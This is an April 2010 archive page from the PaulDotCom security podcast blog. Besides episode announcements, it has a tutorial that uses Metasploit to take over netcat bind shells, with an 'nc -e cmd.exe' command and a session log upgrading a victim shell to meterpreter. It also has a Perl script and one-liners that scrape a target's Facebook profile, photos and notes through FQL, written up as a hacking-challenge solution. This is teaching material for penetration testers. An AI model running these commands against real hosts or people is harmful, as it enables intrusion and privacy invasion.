Courses:

Offensive Countermeasures: The Art Of Active Defense: SANSFIRE June 15-16, Blackhat USA July 27-28 & 29-30


Defensive Countermeasures: Foundations for Becoming A Devious Defender: Blackhat USA July 27-28 & 29-30


Conferences:

Check out the entire PaulDotCom crew at BsidesRI June 14-15th!



Subscribe:

Blog:
Videos:
Podcast:


PaulDotCom EspaƱol


Hack Naked TV


Hack Naked At Night


Stogie Geeks


Sponsored By:


www.coresecurity.com


www.tenablesecurity.com


www.sans.org



Follow Us On:


twitter.com/pauldotcom

PaulDotCom YouTube Channel


April 2010 Archives

Please join us as we welcome Exotic Liability's Chris Nickerson & Ryan Jones for Episode 197 of PaulDotCom Security Weekly. The live stream should be active around 19:30 EDT (7:30 PM), Thursday April 29th.

404_small.png
Google Labs project for Highway Signage

Please keep in mind that the recording time is an estimate as well, anything can happen when the streams are crossed.

Join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.

When active, the live stream(s) can be found at:

PaulDotCom Live! - You can watch, listen, and chat during each episode! You can access the streaming videos at any time by visiting http://pauldotcom.com/live/

PaulDotCom Icecast Radio (Audio Only)

Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!

- Paul "Salad Shooter" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Intern" Wigley, John "The Father" Strand, Mick "AppleJack" Douglas, and Mark "Quiet but Deadly" Baggett.

Using Metasploit to control netcat and third party exploits

|

Metasploit has A LOT of exploits, but from time to time you will very likely need to use exploits that are not part of the framework. Whether it is an exploit from www.exploit-db.com that spawns a shell or a netcat listener you can still use the framework to control the host. As long as you have a shell bound to a TCP port you can use metasploit to interact with that victim. What's more, you can upgrade that shell to a meterpreter session so you can benefit from the full power of the framework.

First, to connect to a shell bound to TCP port you will need to use the payload SHELL_BIND_TCP. This payload is significantly different from SHELL/BIND_TCP because it is a SINGLE payload rather than a STAGED payload. A staged payload is a small piece of code that allocates memory, opens network ports to communicate with the framework, downloads the remainder of the payload, then executes the rest of the payload. A staged payload is very small so it can easily fit in small buffers. It's size and limited functionality also give antivirus vendors very little to look at. SINGLE payloads on the other hand contain everything they need to execute on the victim. So, "nc -l -p 4444 -e cmd.exe" is functionally equivalent to SHELL_BIND_TCP.

To interact with a netcat listener all you need is the Multi/Handler exploit and the SINGLE_BIND_TCP payload. For example:

msf > set color false 
color => false 
msf > use multi/handler

msf exploit(handler) > set payload windows/shell_bind_tcp

payload => windows/shell_bind_tcp
msf exploit(handler) > set RHOST 192.168.100.17

RHOST => 192.168.100.17
msf exploit(handler) > exploit -z

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.100.6:56131 -> 192.168.100.17:4444)
[*] Session 1 created in the background.

But, to take full advantage of the framework I want to use meterpreter. The framework can automatically take any command session and add a "METERPRETER/REVERSE_TCP" session to the host with the "SESSIONS -U" command. To use the option you will need to use "SETG" to set the LHOST and LPORT variables to point back to your host. Then use "sessions -u" to upgrade a session to meterpreter. The upgrade will leave the existing shell session in place and add a new meterpreter session. For example:

msf exploit(handler) > setg LHOST 192.168.100.6 LHOST => 192.168.100.6 
msf exploit(handler) > sessions -u 1

[*] Started reverse handler on 192.168.100.6:4444
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53583 bytes)
[*] Command Stager progress - 6.32% done (3388/53583 bytes)
truncated
[*] Command Stager progress - 97.99% done (52506/53583 bytes)
[*] Sending stage (748032 bytes) to 192.168.100.17
[*] Command Stager progress - 100.00% done (53583/53583 bytes)
msf exploit(handler) > [*] Meterpreter session 2 opened (192.168.100.6:4444 -> 192.168.100.17:1032)

msf exploit(handler) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.100.6:56131 -> 192.168.100.17:4444
2 meterpreter VICTIM\Administrator @ VICTIM 192.168.100.6:4444 -> 192.168.100.17:1032

msf exploit(handler) >

Now that you've got a meterpreter session type "RUN [tab] [tab]  " to look at all the meterpreter script goodness at your disposal! Still confused? Here is a video demo:

Using Metasploit to Control Netcat from PaulDotCom on Vimeo.

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st -26th. SIGN UP TODAY!!

Also, SANS is sponsoring a Lunch and Learn COINS event in Raleigh on May 5th where I will do a presentation on the Metasploit framework.  Watch your inbox for an invitation to this event!

Join us for for Episode 196 of PaulDotCom Security Weekly, where we reveal Paul Asadoorian's 3 Step Plan for Worldwide Domination(TM) and John Strand's (somewhat proven) method for "Distributing SSH for fun and profit". The live stream should be active around 20:00 EDT (8:00 PM), on Friday, April 23d. What other podcast can deliver Beer, Tomfoolery, Riches, World Domination, and oh yeah, Information Security in under 2 hours???

world_domination.png

Please keep in mind that the recording time is an estimate, and individual results in obtaining World Domination may vary. Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.

When active, the live stream(s) can be found at:

PaulDotCom Live! - You can watch, listen, and chat during each episode! You can access the streaming videos at any time by visiting http://pauldotcom.com/live/

PaulDotCom Icecast Radio (Audio Only)

Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!

- Paul "World Domination or Bust" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Intern" Wigley, John "The Father" Strand, Mick "Notacon, Bitches!' Douglas, and Mark "Quiet but Deadly" Baggett.

Episode 195 Show Notes

Part 1: Tech Segment with Ed Skoudis on crazy ass netcat relays for fun and profit!

cat-computer.JPG

Part 2: The crew discusses stories for this week with out Paul as he rests at home reovering from a certain kind of male 'enhancement' surgery.

Knee.JPG

Hosts: Larry "HaxorTheMatrix" Pesce, Paul "PaulDotCom" Asadoorian, John Strand, Mick Douglas, Carlos "Dark0perator" Perez

Audio Feeds:

Please join us and Ed Skoudis, blogger, SANS instructor, Microsoft MVP and InGuardian for Episode 195 of PaulDotCom Security Weekly. The live stream should be active around 19:30 EST (7:30 PM), tonight. Please keep in mind that the recording time is an estimate.

icheese.jpg
What? Macbook Pro update doesn't include Blu-Ray? Bring me the head of Steve Jobs!!

Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.

When active, the live stream(s) can be found at:

PaulDotCom Live! - You can watch, listen, and chat during each episode! You can access the streaming videos at any time by visiting http://pauldotcom.com/live/

PaulDotCom Icecast Radio (Audio Only)

Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!

- Paul, Larry, Carlos, Darren, John & Mick

Exploring the Facebook API

|

By Mark Baggett

The Ethical Hacker Challenges are always a lot of fun. They are usually wrapped in a creative and entertaining movie theme (as if hacking something wasn't entertaining enough) and always present an interesting technical challenge. I always learn something new with each new challenge.

Over the Christmas break I took some time to explore the Facebook API for the Miracle on Thirty-Hack Street Challenge. Here is some of what I learned about the Facebook API. First, lets get an API key.

Obtaining an API key
To develop applications for Facebook you'll need a API Key. Getting an API key is very easy and only takes about 2 minutes. To obtain your key you need to add the "Developers" application to your facebook account. You can do this by logging in with your Facebook account at the url http://www.facebook.com/developers/. From there you create an application by clicking "Set up New Application", picking an application name and agreeing to the terms of use. You are then assigned an API key and a Secret key. If you are developing with an offline script such as python or perl then under your application's "Advanced Settings" set your application up as a "Desktop" application. Then, armed with your API and Secret key, you are ready to get started.

Start Coding
While there are various options available I really only want the ability to query facebook data using FQL. FQL or "Facebook Query Language" is a very SQL like query language that allows you to extract data from Facebook. Perl's WWW::Facebook::FQL libraries are pretty simple to use and should provide the functionality I need. After installing the require perl modules I threw together a small perl script that allows me to do FQL queries from the command line.

To use this script you'll need to plug in your own API Key, Secret, Username and Password. The username and password that you provide in the script will be used to do the data mining and determines what access you have to the target's data. Here is my very simple script:

use WWW::Facebook::FQL;
## Connect and log in:
## Key is the Application Key obtained from your facebook profile by adding the "DEVELOPER" app and creating an application.
## Private is the "Secret" from that same application
my $fb = new WWW::Facebook::FQL key => 'API KEY HERE', private => 'API SECRET KEY HERE';
## This is the account we will use to do the data mining. The more connections you have to the target (Friend, Friend of Friend, Networks, etc) the more information you will have access to.
$fb->login('facebook login name', 'facebook password');
#if User passed XML or JSON (or garbage) as the 2nd parameter set the format type to that
if ($ARGV[1]) {$fb->format = $ARGV[1]};
## Do a query and print the results:
print $fb->query($ARGV[0]);
## Release session
$fb->logout;

Using this script we can execute FQL queries from the command line like this:

markbaggett@ubuntu:~$ perl fql.pl "Select name from user where uid= "target facebook ID #"

This will return an XML response containing the users NAME for the targeted Facebook ID #. You can determine a targets Facebook ID # by looking at the web interface and simply hovering over a wall post or a picture. If the URL is something like this.... http://www.facebook.com/profile.php?id=11223344556677 then their ID would be 11223344556677. Since we can issue FQL commands from the command line we can do a little more advanced stuff like download all the users photos with a single command:

markbaggett@ubuntu:~$ for i in `perl fql.pl "Select src_big from photo where aid IN (SELECT aid FROM album WHERE owner=facebookID#)"| grep "src_big" | cut -d ">" -f2 | cut -d "<" -f1`; do curl -C - -O "$i"; done

Or display all data available on the account in the user table like this...

markbaggett@ubuntu:~$ perl fql.pl "select uid, first_name, last_name, name, pic_small, pic_big , pic_square, pic, affiliations, profile_update_time, timezone, religion, birthday, birthday_date, sex, hometown_location, relationship_status, significant_other_id, political, current_location, interests, is_app_user, music, tv, books, about_me, education_history, work_history, notes_count , wall_count, status, is_app_user, online_presence, locale, proxied_email, profile_url, pic_small_with_logo, allowed_restrictions, profile_blurb, family from user where uid="facebookID#"

Or dump all photo albums...

markbaggett@ubuntu:~$ perl fql.pl "select aid, owner, cover_pid, name, created, modified, description, location, size, link, visible, modified_major, edit_link, type, object_id from album where owner=facebookID#"

Or if for some reason we needed to extract the notes fields from an account and try every word in the notes as a password to a PGP encrypted PDF we could do something like this...

markbaggett@ubuntu:~$ for i in `perl fql.pl "Select content from note where uid= 100000565751882"`; do echo "$i" | gpg --passphrase-fd 0 --decrypt JudgeHenryLetter.pdf.gpg && echo "$i is the password" ; done

(If you missed it, that one line solves the Christmas Ethical Hackers Challenge)

A full list of all the Facebook tables and fields is available here.

Now, you can not simply use this to pull any data you want from a Facebook account. The information returned depends upon the permission granted by the user to the account used in your script. Users who share information with "EVERYONE" allow you to use this script and retrieve all their data. Granting access to "EVERYONE" is most often the default for data posted to Facebook accounts so the script will most likely returns pretty good results. Users may have changed the defaults and only granted access to "Friends" or "Friend of a Friend". In those cases, you would need to have the target OR the friend of the target to accept your friend request. The Facebook API will return the data based upon the permissions of the data element itself and not the data element's container object. So, if a user restricts access to the "NOTES" tab in Facebook to "ONLY FRIENDS" but a notes entry is set to allow access to "EVERYONE" then the note will NOT be accessible through the Web Interface, but it will be accessible via the API. Also, in some circumstances anonymous unauthenticated users can access photo's from a users account even when the photo object has permissions set to "Only Friends". More on that to come later. Of course, none of this should be used to violate anyones privacy or in violation of Facebook's terms of use.

Thanks to Ed and Kevin for all their work putting together the challenge. I always learn something new with every Ethical Hacker Challenge. Congratulations to all the other winners and honorable mentions. It looks like several people did some really awesome work and I don't envy Ed and Kevin's job in sorting through all the entries to choose a winner. But, I do appreciate the choice they made. :)

Eugenio Delfa made this AWESOME video and wrote some great Python scripts to do Facebook extracts. I found a copy of his scripts here. His scripts are great and I will probably use them rather than my own in the future.

JOIN MARK BAGGETT FOR SANS 504 IN RALEIGH NC JUNE 21-26 CLICK HERE TO SIGN UP

Episode 194 Show Notes

Part 1: Interview with Robert 'RSnake' Hanson

rsnake.gif

Part 2: Tech Segment how to grab SSH credentials. Discuss news stories for this week. Listen for the peepers as we broadcast outside for the first time this year.

peeper.jpg

Hosts: Larry "HaxorTheMatrix" Pesce, Paul "PaulDotCom" Asadoorian, John Strand, Mick Douglas, Carlos "Dark0perator" Perez

Audio Feeds:

Capturing SSH V1 & V2 Credentials with a MitM ssh honeypot

|

SSH is great! However, relying on password based authentication where the end user must decide whether or not to trust a new server crypto fingerprint can leave you open to attack. John Strand has put together an excellent video demonstrating how attackers can capture your SSH V1 and V2 passwords.

How do you fix this? Well, you can teach your users not to accept untrusted keys. Good luck with that. If you do that and it works, please contact me. I want to be your friend. Mere mortals should consider moving to something stronger than simple password based authentication. OpenSSH supports s/key one time passwords, RSA type authentication AND Kerberos!

Vector 2 - Data Sanitizing

|

Ever wonder if the data on your hard drive is recoverable after a format? Thinking about throwing out that old hard disk you don't need anymore? Perhaps selling the computer on EBAY? You lost a USB stick at the supermarket, but you think you are ok because you deleted the data previously? THINK AGAIN!

Check out the video from the Vector 2 show we put on in Michigan on how to recover data off a hard disk and a USB key after it has been formatted using both Linux and Microsoft.

Vector2-Data-Recovery-Forensics

Mark Bennett

~Be Good, Be Safe, Hack Legally and Responsibly...I'm Out!

RSnake!

|

After many attempts, we're pleased to say we've finally gotten Robert "RSnake" Hansen to get over his fear of the Internet and join us for Episode 194 of PaulDotCom Security Weekly!

rsnake.jpg
RSnake, captured in his natural environment.

RSnake promises to reveal:

- the Internet's 10 most dangerous people
- how to actually detect malice, using just a wooden pencil and a soda can
- why he's decided to join Google

The live stream should be active around 19:30 EDT (7:30 PM), Thursday, April 8th. Please keep in mind that the recording start time can vary depending on how long it takes for RSnake's medication to kick in.

Please join the IRC channel during the stream - we can take live comments and discussion from the channel! Find us on IRC at irc.freenode.net #pauldotcom.

When active, the live stream(s) can be found at:

PaulDotCom Live! - You can watch, listen, and chat during each episode! You can access the streaming videos at any time by visiting http://pauldotcom.com/live/

PaulDotCom Icecast Radio (Audio Only)

Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!

- Paul, Larry, Carlos, Darren, John & Mick

Episode 193 Show Notes

Part 1: Interview with Johannes Ullrich

night-thunder-storm-lightning.jpg

Part 2: The crew discusses stories for this week, dump on the iPad, and how to mess up an intern's car.

photo.jpg

Hosts: Larry "HaxorTheMatrix" Pesce, Paul "PaulDotCom" Asadoorian, John Strand, Mick Douglas, Carlos "Dark0perator" Perez

Audio Feeds:

PaulDotCom Security Weekly - Episode 192 - March 25, 2010

|

Episode 192 Show Notes

Part 1: Fuzzing with Jeremy Brown

iStock_000001264128XSmall.jpg

Part 2: The crew discusses software security, selling exploits, defense, & Lamas

iStock_000001785986XSmall.jpg

Hosts: Larry "HaxorTheMatrix" Pesce, Paul "PaulDotCom" Asadoorian, John Strand, Mick Douglas, Carlos "Dark0perator" Perez

Audio Feeds: